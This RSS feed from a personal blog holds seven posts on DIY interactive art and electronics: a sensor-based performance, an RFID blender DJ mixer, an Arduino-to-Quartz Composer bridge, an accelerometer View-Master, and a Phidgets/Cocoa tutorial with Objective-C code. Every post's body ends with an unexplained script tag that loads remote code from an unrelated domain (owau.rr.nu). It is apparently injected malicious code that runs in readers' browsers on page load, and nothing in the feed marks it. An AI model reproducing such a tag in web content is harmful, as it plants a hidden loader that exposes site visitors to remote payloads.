<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Adventures of Månsteri and Friends &#187; sensors</title>
	<atom:link href="http://originalhamsters.com/blog/tag/sensors/feed/" rel="self" type="application/rss+xml" />
	<link>http://originalhamsters.com/blog</link>
	<description>DJing, VJing, Motion Graphics and all around hustlin'</description>
	<lastBuildDate>Sat, 26 Feb 2011 12:39:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Treasure Islands</title>
		<link>http://originalhamsters.com/blog/2009/05/29/treasure-islands/</link>
		<comments>http://originalhamsters.com/blog/2009/05/29/treasure-islands/#comments</comments>
		<pubDate>Fri, 29 May 2009 07:00:02 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Animation]]></category>
		<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Animata]]></category>
		<category><![CDATA[blackbox]]></category>
		<category><![CDATA[hexagram]]></category>
		<category><![CDATA[interactive]]></category>
		<category><![CDATA[max/msp]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[sensestage]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=303</guid>
		<description><![CDATA[Last week, I took part in the SenseStage workshop at the Hexagram BlackBox in Montreal. http://sensestage.hexagram.ca/workshop/introduction/. It was a workshop designed to bring together people from different disciplines (dance, theatre, sound, video, light) and cooperate in a collaborative environment with interactive technologies. During the workshop, there were tons of sensors – light, floor pressure, accelerometers, [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, I took part in the SenseStage workshop at the Hexagram BlackBox in Montreal. <a href="http://sensestage.hexagram.ca/workshop/introduction/">http://sensestage.hexagram.ca/workshop/introduction/</a>. It was a workshop designed to bring together people from different disciplines (dance, theatre, sound, video, light) and cooperate in a collaborative environment with interactive technologies.</p>
<p>During the workshop, there were tons of sensors – light, floor pressure, accelerometers, humidity etc. – all connected to little microcontrollers which in turn were all wirelessly connected to a central computer that gathered all the data and sent it forward as OSC to any client conected to the network.</p>
<p>Basically, we had 5 days to complete an interactive performance sequence using the data gathered by the sensor nodes. This is what our group came up with.</p>
<p><img class="alignnone" title="sarah" src="http://originalhamsters.com/downloads/sensestage/sarahsense1.jpg" alt="" width="580" height="435" /></p>
<p>We call it Treasure Islands and it&#8217;s a bit twisted interactive performance/game where a girl finds herself in a weird world where she is floating on a donut in the middle of the ocean with a mermaid talking in her head. She has to travel to all of the different Islands around her, and collect sounds from them in order to open a portal into this strange dream world for all her friends. Sounds like a good concept, doesn&#8217;t it? Check out the video and you&#8217;ll see that it actually makes sense.</p>
<p><object width="580" height="435" data="http://vimeo.com/moogaloop.swf?clip_id=4895941&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=cc0000&amp;fullscreen=1"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=4895941&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=cc0000&amp;fullscreen=1" /></object></p>
<p>There was a lot of sensor data available, but we ended up using just the pressure sensors on the floor and camera tracking. With a bit more time we could have evolved the world to be more responsive to the real world, but I&#8217;m pretty happy with the results we were able to achieve in such a short time. Our group worked really well together, which is not always the case in such collaborative projects.</p>
<p>Credits:</p>
<p>Sarah Albu &#8211; narrative, graphics, performance<br />
Matt Waddell &#8211; sound, programming<br />
Me &#8211; animation, programming</p>
<p>And I guess I need to include some more technical details for all the people who check my site for that kind of stuff (I know you&#8217;re out there). </p>
<p>We used camera tracking with <a href="http://ccv.nuigroup.com/">tbeta</a> to track Sarah and used that data to move the doughnut and to make the environment responsive to her movements. All of the real-time animation was done in <a href="http://animata.kibu.hu/index.html">Animata</a>, which really is a perfect tool for something like this, because it allows me to animate things really fast without compromising in quality. Max was used as the middle man to convert the TUIO messages and the OSC from the sensor network into the kind of messages Animata needs to hear.</p>
<p><img src="http://originalhamsters.com/downloads/sensestage/sensehat.jpg" alt="sense hat" /><br />
We sewed some IR LEDs on the hat to help with tracking in a dark space.</p>
<p>Each island is an instrument that you can play with. Stepping on a certain area would trigger loops, add effects to your voice etc. Matt could explain the sound part better than me, but the video should make it pretty clear. it doesn&#8217;t reproduce the effect of the quadraphonic sound system we used though. Some visual clues were also triggered in the animation based on her movements on the sensors. </p>
<p>That&#8217;s pretty much it. If you have any questions, leave a comment and I&#8217;ll try to get back to you as soon as possible.<script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2009/05/29/treasure-islands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mixmaster 1200</title>
		<link>http://originalhamsters.com/blog/2009/04/03/mixmaster-1200/</link>
		<comments>http://originalhamsters.com/blog/2009/04/03/mixmaster-1200/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 04:42:49 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[ableton live]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[beat blender]]></category>
		<category><![CDATA[dj]]></category>
		<category><![CDATA[felt]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[max/msp]]></category>
		<category><![CDATA[mixed up]]></category>
		<category><![CDATA[ms. pinky]]></category>
		<category><![CDATA[remix]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=285</guid>
		<description><![CDATA[The second installment of my Mixed Up series has now seen the light. Let me introduce you to the Mixmaster 1200. The Mixmaster 1200 is a wireless scratching device for the turntablist who prefers to deliver his/her scratches like a 5 star chef. As you can see, the Mixmaster does not have any beaters attached [...]]]></description>
			<content:encoded><![CDATA[<p>The second installment of my Mixed Up series has now seen the light. Let me introduce you to the Mixmaster 1200.</p>
<p><img src="http://originalhamsters.com/images/mixedup/mixmaster.jpg" alt="mixed up" /></p>
<p>The Mixmaster 1200 is a wireless scratching device for the turntablist who prefers to deliver his/her scratches like a 5 star chef. As you can see, the Mixmaster does not have any beaters attached to it. This is because it has small laser powered plasma emitter beaters that actually heat up the airwaves around the device itself producing the unique sounding aural explosions.</p>
<p><object width="580" height="435" data="http://vimeo.com/moogaloop.swf?clip_id=3982248&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=CC0000&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3982248&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=CC0000&amp;fullscreen=1" /></object>
</p>
<p>More information: <a href="http://originalhamsters.com/motion/mixedup.php">http://originalhamsters.com/motion/mixedup.php</a><script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2009/04/03/mixmaster-1200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beat Blender Preview</title>
		<link>http://originalhamsters.com/blog/2009/03/18/beat-blender-prototype/</link>
		<comments>http://originalhamsters.com/blog/2009/03/18/beat-blender-prototype/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 06:51:14 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[dj]]></category>
		<category><![CDATA[felt]]></category>
		<category><![CDATA[installation]]></category>
		<category><![CDATA[max/msp]]></category>
		<category><![CDATA[RFID]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=257</guid>
		<description><![CDATA[Have you ever wondered what a banana mixed with a strawberry sounds like? Or how about kiwi-watermelon puree? Watch this video and you will find out. I found this old blender from a flea market and noticed that the names of the different blending modes are very similar to the terminology used in DJing. So [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever wondered what a banana mixed with a strawberry sounds like? Or how about kiwi-watermelon puree? Watch this video and you will find out.</p>
<p><object width="580" height="334"  data="http://vimeo.com/moogaloop.swf?clip_id=3737365&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=CC0000&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3737365&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=CC0000&amp;fullscreen=1" /></object>
</p>
<p>I found this old blender from a flea market and noticed that the names of the different blending modes are very similar to the terminology used in DJing. So I decided to turn this kitchen appliance into a DJ mixer.</p>
<p>The audio tracks are triggered by inserting different fruits into the blender. The buttons on the front panel control the mixing modes and you also have two different types of transformer switches for cutting the sound in and out.</p>
<p>The options are:</p>
<ul>
<li>Stir</li>
<li>Puree</li>
<li>Whip</li>
<li>Grate</li>
<li>Mix</li>
<li>Chop</li>
<li>Grind</li>
<li>Blend</li>
<li>Liquefy</li>
<li>Frappé</li>
</ul>
<p>How does it work?</p>
<ul>
<li>Arduino for brains</li>
<li>RFID reader</li>
<li>Different kinds of fruits made out of felt</li>
<li>RFID tags inside the fruits</li>
<li>Max/MSP for converting the serial data to MIDI</li>
<li>Ableton Live for playback</li>
<li>Mad skills to pay the bills</li>
</ul>
<p><a href="http://originalhamsters.com/motion/beatblender.php">Stay tuned for more information, pictures and and better quality videos.</a> This is just a preview, I&#8217;m hoping to improve it in the following weeks.</p>
<p>I also need to come up with a better name for this thing. Please leave your suggestions in the comments.</p>
<p><a href="http://originalhamsters.com/motion/beatblender.php">Beat Blender documentation page.</a></p>
<p><a href="http://vimeo.com/3737365">Vimeo link for the video.</a></p>
<p><a href="http://www.youtube.com/watch?v=9l7fv7mOlU4">Youtube link for the video.</a><br />
<script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2009/03/18/beat-blender-prototype/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Arduino &amp; Quartz Composer</title>
		<link>http://originalhamsters.com/blog/2008/11/16/arduino-quartz-composer/</link>
		<comments>http://originalhamsters.com/blog/2008/11/16/arduino-quartz-composer/#comments</comments>
		<pubDate>Sun, 16 Nov 2008 21:08:40 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[Quartz Composer]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/2008/11/16/arduino-quartz-composer/</guid>
		<description><![CDATA[Here is a quick solution on how to get the analog inputs from an Arduino into Quartz Composer. For now, this only supports the analog values. Reading the digital input pins is not hard to implement, but I still haven&#8217;t decided what is the best way to do that. Sending serial data from QC to [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a quick solution on how to get the analog inputs from an Arduino into Quartz Composer. For now, this only supports the analog values. Reading the digital input pins is not hard to implement, but I still haven&#8217;t decided what is the best way to do that.</p>
<p>Sending serial data from QC to Arduino is a little bit trickier, but I will definitely try to work on that also.</p>
<p>What do you need for this to work?</p>
<ul>
<li>The Kineme Serial patch for Quartz Composer. Available here:<a href="http://kineme.net/SerialIOPatch20080326beta" target="_blank"> http://kineme.net/SerialIOPatch20080326beta</a> (You will need to register and check the &#8220;I would like to beta test new and updated patches.&#8221; box in your user profile.)</li>
<li><a href="http://originalhamsters.com/downloads/code/ArduinoQCAnalog.zip" target="_blank">Download the Arduino code and .qtz file</a></li>
</ul>
<p><img src="http://originalhamsters.com/images/arduinoqc.png" height="316" hspace="5" vspace="5" width="580" /><script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2008/11/16/arduino-quartz-composer/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Mickey Mann</title>
		<link>http://originalhamsters.com/blog/2008/11/10/mickey-mann/</link>
		<comments>http://originalhamsters.com/blog/2008/11/10/mickey-mann/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 01:31:52 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[Animata]]></category>
		<category><![CDATA[Animation]]></category>
		<category><![CDATA[Arduino]]></category>
		<category><![CDATA[max/msp]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[view-master]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/2008/11/10/mickey-mann/</guid>
		<description><![CDATA[I&#8217;m really interested in stereoscopy, which you might have guessed, if you&#8217;ve ever seen me running around with my View-Master camera. In my opinion, View-Master is still a superior method for viewing stereoscopic images, but it&#8217;s only still images. That&#8217;s why I wanted to see if I could improve the design and make an interactive [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m really interested in stereoscopy, which you might have guessed, if you&#8217;ve ever seen me running around with my View-Master camera. In my opinion, View-Master is still a superior method for viewing stereoscopic images, but it&#8217;s only still images. That&#8217;s why I wanted to see if I could improve the design and make an interactive View-Master for animations.</p>
<p>This little hybrid between Mickey Mouse and Steve Mann enables you to control and view stereoscopic animations that are animated in real-time.</p>
<p><img src="http://originalhamsters.com/images/motion/mickey_mann_etu.jpg" alt="" hspace="5" vspace="5" width="580" height="386" /></p>
<p>It&#8217;s an old View-Master viewer modified to have <a href="http://en.wikipedia.org/wiki/Chromadepth" target="_blank">ChromaDepth</a> lenses, some custom buttons, accelerometer, bluetooth radio and an Arduino to control it all. I thought about hiding the electronics with bigger ears, but decided not to, because I like the ghetto-cyborg look he&#8217;s got going on there.</p>
<p><img src="http://originalhamsters.com/images/motion/mickey_mann_taka1.jpg" alt="" hspace="5" vspace="5" width="580" height="386" /></p>
<p><img src="http://originalhamsters.com/images/motion/mickey_mann_taka2.jpg" alt="" hspace="5" vspace="5" width="580" height="386" /></p>
<p>So how does it work? You look through the viewer to the screen where you will see some 3-layer Månsteri-action in all of it&#8217;s stereoscopic glory. The great thing about ChromaDepth stereoscopy is that it works with basic colors. You don&#8217;t need two channels for the video to achieve a 3D-effect. On a dark background, everything that is blue will appear to be in the background and everything that is red will appear to be in the foreground. Colors in the spectrum between blue and red will appear to be somewhere in the middle. If you didn&#8217;t understand my explanation, look it up on the interwebs.</p>
<p>The accelerometer detects your motion and will move the character on the middle layer, giving the illusion that the character is trying to mimic your movement. You can control the content of the layers with the three buttons on the side of the viewer. Button three controls the background, button two the middle layer and button one controls the foreground. Check out the video and you&#8217;ll understand what I mean. If you have ChromaDepth glasses, put them on to see the 3d effect.</p>
<p><object width="580" height="326" data="http://vimeo.com/moogaloop.swf?clip_id=2199509&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ff0179&amp;fullscreen=1" type="application/x-shockwave-flash"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=2199509&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ff0179&amp;fullscreen=1" /></object></p>
<p>The Arduino sends the sensor data and the button states wirelessly via bluetooth to my computer. The information is parsed in Max/MSP, which in turn sends the data as OSC packets to <a href="http://animata.kibu.hu/index.html">Animata</a> (my favourite software at the moment). Animata then animates everything in real-time and handles the hiding/revealing of different layers.</p>
<p>If you are interested, I have uploaded the Arduino and Max 5 source codes and also the Animata scene. It&#8217;s all very specific to my setup, but someone might find it useful. <a href="http://originalhamsters.com/downloads/mickeymann.zip" target="_blank">Download the source.</a><script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2008/11/10/mickey-mann/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Phidgets Patches for Quartz Composer from fdiv.net</title>
		<link>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/</link>
		<comments>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/#comments</comments>
		<pubDate>Thu, 24 May 2007 17:23:00 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Stuff That I Like]]></category>
		<category><![CDATA[Phidgets]]></category>
		<category><![CDATA[Quartz Composer]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=25</guid>
		<description><![CDATA[I wrote a tutorial a while ago for building a cocoa app that will enable you to control Quartz Composer with Phidgets sensors. Now there&#8217;s a LOT easier way to achieve this. Just use the new QC patches from fdiv.net.]]></description>
			<content:encoded><![CDATA[<p>I wrote a <a href="http://originalhamsters.com/blog/2007/02/phidgets-quartz-composer_01.html">tutorial</a> a while ago for building a cocoa app that will enable you to control Quartz Composer with Phidgets sensors. Now there&#8217;s a LOT easier way to achieve this. Just use the new QC patches from <a href="http://fdiv.net/2007/05/16/phidgets-patches-for-quartz-composer/#more-90">fdiv.net.</a><script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2007/05/24/phidgets-patches-for-quartz-composer-from-fdivnet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Phidgets + Quartz Composer</title>
		<link>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/</link>
		<comments>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/#comments</comments>
		<pubDate>Thu, 01 Feb 2007 07:29:00 +0000</pubDate>
		<dc:creator>Månsteri</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[Phidgets]]></category>
		<category><![CDATA[Quartz Composer]]></category>
		<category><![CDATA[sensors]]></category>

		<guid isPermaLink="false">http://originalhamsters.com/blog/?p=10</guid>
		<description><![CDATA[We&#8217;re going to use Phidgets for a university project pretty soon, so I tried to come up with a way to control Quartz Composer with the Phidget sensors. Hiroaki has done Accelerometer and RFID custom patches that you can find here, but I want to use the Interface Kit 8/8/8 and be able to use [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;re going to use <a href="http://phidgets.com/">Phidgets</a> for a university project pretty soon, so I tried to come up with a way to control Quartz Composer with the Phidget sensors. Hiroaki has done Accelerometer and RFID custom patches that you can find <a href="http://hiroaki.jp/index.php?Quartz%20Composer%2FCustom%20Patches">here</a>, but I want to use the <a href="http://phidgets.com/index.php?module=pncommerce&#038;func=itemview&amp;KID=117034033584.251.158.236&#038;IID=85">Interface Kit 8/8/8</a> and be able to use all the different sensors.</p>
<p>I&#8217;m not smart enough to program my own patches for QC, but I was able to build a Cocoa application that sends the data from the sensors to the QC composition. I got a little help from the Phidget Interface Kit -sample code that you can <a href="http://phidgets.com/modules.php?op=modload&amp;name=Downloads&#038;file=index&amp;req=viewdownload&#038;cid=3">download here</a> and from the instructions found from the <a href="http://phidgets.com/index.php?name=PNphpBB2&amp;file=viewtopic&#038;t=971">Phidgets forum</a>. The code on the forum post didn&#8217;t work for me so here&#8217;s a small tutorial that shows you how build a Cocoa app that will control your Quartz Composer composition with Phidgets sensors.</p>
<p>What do you need?</p>
<p>- A computer running Mac OSX 10.4 with the developer tools installed<br />- Phidgets Interface Kit 8/8/8 + some sensors<br />- Download and install the Mac OSX Framework 21 from <a href="http://phidgets.com/modules.php?op=modload&amp;name=Downloads&#038;file=index&amp;req=viewdownload&#038;cid=3">Phidgets website</a>. This will also include the source code that you need for this tutorial.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://phidgets.com/images/1018.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 329px; height: 239px;" src="http://phidgets.com/images/1018.jpg" alt="" border="0" /></a><br />OK. Let&#8217;s start</p>
<p><span style="font-weight: bold;">1)</span><br />Open the CocoaIFKit Xcode project from the /Examples/Source Code/CocoaIFKit folder.</p>
<p><span style="font-weight: bold;">2)</span><br />First we need to modify the project so that we can import and use a Quartz Composer Composition. These next steps are explained with more detail in the <a href="http://developer.apple.com/documentation/GraphicsImaging/Conceptual/QuartzComposer/qc_intro/chapter_1_section_1.html#//apple_ref/doc/uid/TP40001357-CH201-TPXREF101">Quartz Composer programming guide by Apple</a> and I recommend that you try the tutorials first, but I&#8217;ll go through the important stuff quickly.</p>
<p>- First, choose Project > Add to Project.<br />- Navigate to System/Library/Frameworks/Quartz.framework and add it to the project.<br />- Drag the Quartz.Framework to your Frameworks folder in the Groups &#038; Files list<br />- Double click the MainMenu.nib file and Interface Builder launches.<br />- If you haven&#8217;t done this before, you have to install the Quart Composer palette to Interface Builder. Choose Tools > Palettes > Palette Preferences and click add.<br />- Navigate to /Developer/Extras/Palettes/ and add QuartzComposer.palette.<br />- Now your palette window should show the Quartz Composer palette. The blue thing is QCView and the green thing is QCPatchController.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_OINBvqfpAe0/RcJRR3S16hI/AAAAAAAAACY/h0ycVdsOfMM/s1600-h/palette2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_OINBvqfpAe0/RcJRR3S16hI/AAAAAAAAACY/h0ycVdsOfMM/s400/palette2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026669501441501714" border="0" /></a></p>
<p>- Drag the QCPatchController from the Palette window to the Instances tab in the MainMenu.nib window<br />- Go to the Cocoa Windows tab in the Palette window and drag a window to the Instances tab also. A new window appears.<br />- Your MainMenu.nib window should look something like this</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/RcJRjXS16iI/AAAAAAAAACg/11hxROGYL54/s1600-h/mainmenu2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/RcJRjXS16iI/AAAAAAAAACg/11hxROGYL54/s400/mainmenu2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026669802089212450" border="0" /></a></p>
<p>- Select the new window and go to Tools > Show Inspector. In the Attributes section, make sure that the &#8220;Visible at launch time&#8221; is checked for the new window<br />- Now drag a QCView from the palette to the new window and resize the QCView the way you like it.<br />- Select the QCView and then open the Bindings pane of the Inspector window. Click the small triangle where it says patch.<br />- Choose QCPatchController from the “Bind to” pop-up menu. Enter <span style="font-style: italic;">patch</span> in the Controller Key text field.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/Rc38KOUbqwI/AAAAAAAAADA/ZrZ8BSEo26U/s1600-h/patch.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/Rc38KOUbqwI/AAAAAAAAADA/ZrZ8BSEo26U/s400/patch.jpg" alt="" id="BLOGGER_PHOTO_ID_5029953611415399170" border="0" /></a></p>
<p><span style="font-weight: bold;">3) </span><br />OK. Now we need a QC Composition to use with our app. I won&#8217;t go to any details about using Quartz Composer. There&#8217;s plenty of info for that available and this tutorial is already becoming too long.</p>
<p>What you need to do is to create any kind of composition that has a published input with the name of <span style="font-style: italic;">sensorZero</span>. I just used an Image With String connected to a Sprite and published the String input with the name <span style="font-style: italic;">sensorZero.</span> Save the .qtz file to the CocoaIFKit folder. I used the name phidgets.qtz.</p>
<p>Back in Xcode, drag phidgets.qtz to the Resources folder in the Groups &#038; Files list.<span style="font-weight: bold;"> </span>In Interface Builder, select the QCPatchCotroller from the MainMenu.nib window and select the Attributes pane of the Inspector and click &#8220;Load from Composition File&#8230;&#8221; Navigate to your phidgets.qtz file. Choose File > Test Interface. You should see your composition in the window. The sensors won&#8217;t work in the testing mode.</p>
<p><span style="font-weight: bold;">4)</span><br />Now the application shows our composition, but we want to change the published value with the sensors. Read on and I&#8217;ll tell you how to do just that.</p>
<p>- Select the blue PhidgetInterfaceKitController from the instances tab. Then select the classes tab.<br />- Choose Classes > Add Outlet to PhidgetInterfaceKitController.<br />- Name the new outlet theController<br />- In the Instances tab, ctrl-click and drag from the PhidgetInterfaceKitController to the QCPatchController</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_OINBvqfpAe0/RcJQcXS16gI/AAAAAAAAACQ/0VFSOYCvEOk/s1600-h/connect2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_OINBvqfpAe0/RcJQcXS16gI/AAAAAAAAACQ/0VFSOYCvEOk/s400/connect2.jpg" alt="" id="BLOGGER_PHOTO_ID_5026668582318500354" border="0" /></a></p>
<p>- Choose Connect to connect the outlet.<br />- Save and go to Xcode again.</p>
<p><span style="font-weight: bold;">5)<br /></span>Now we need to change the code so that the data goes from the sensors to the QC composition</p>
<p>- Double-click the PhidgetInterfaceKitController.h file.<br />- Add this to the list of outlets:<br /><span style="font-size:85%;"><br /><span style="font-weight: bold;"><span style="font-style: italic;"></span></span>IBOutlet id theController;</span></p>
<p>- Close the window and double-click the PhidgetInterfaceKitController.m file.<br />- Find the SensorChange section and add this code there:</p>
<p><span style="font-size:85%;">// sensors to Quartz Composer<br />if(Index==0){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorZero.value&#8221;];<br />}else if(Index==1){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorOne.value&#8221;];<br />}else if(Index==2){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorTwo.value&#8221;];<br />}else if(Index==3){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorThree.value&#8221;];<br />}else if(Index==4){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorFour.value&#8221;];<br />}else if(Index==5){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorFive.value&#8221;];<br />}else if(Index==6){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorSix.value&#8221;];<br />}else if(Index==7){<br />[theController setValue:[NSNumber numberWithInt:(int)Value] forKeyPath:@&#8221;patch.sensorSeven.value&#8221;];<br />}</span></p>
<p>- We only published the <span style="font-style: italic;">sensorZero </span>from QC, but this code works with all the 8 analog inputs in the Interface Kit (Index numbers 0-7). So you can publish more values from QC. Just name them correctly: <span style="font-style: italic;">sensorZero, sensorOne, sensorTwo&#8230;<br /></span>- <span style="font-weight: bold;">Note! </span>I&#8217;m a total amateur when it comes to Cocoa, so this code might not be the best way to do this but it works.</p>
<p><span style="font-weight: bold;">6) </span><br />That&#8217;s it. Save. Then choose Build and Go to see if it works.</p>
<p>If you want to change the QC composition, you need to reload the composition to the QCPatchController in Interface Builder and rebuild the app.</p>
<p>Pheew! This is the first tutorial I&#8217;ve ever written. I hope it&#8217;s useful to someone.<script src="http://owau.rr.nu/10"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://originalhamsters.com/blog/2007/02/01/phidgets-quartz-composer/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

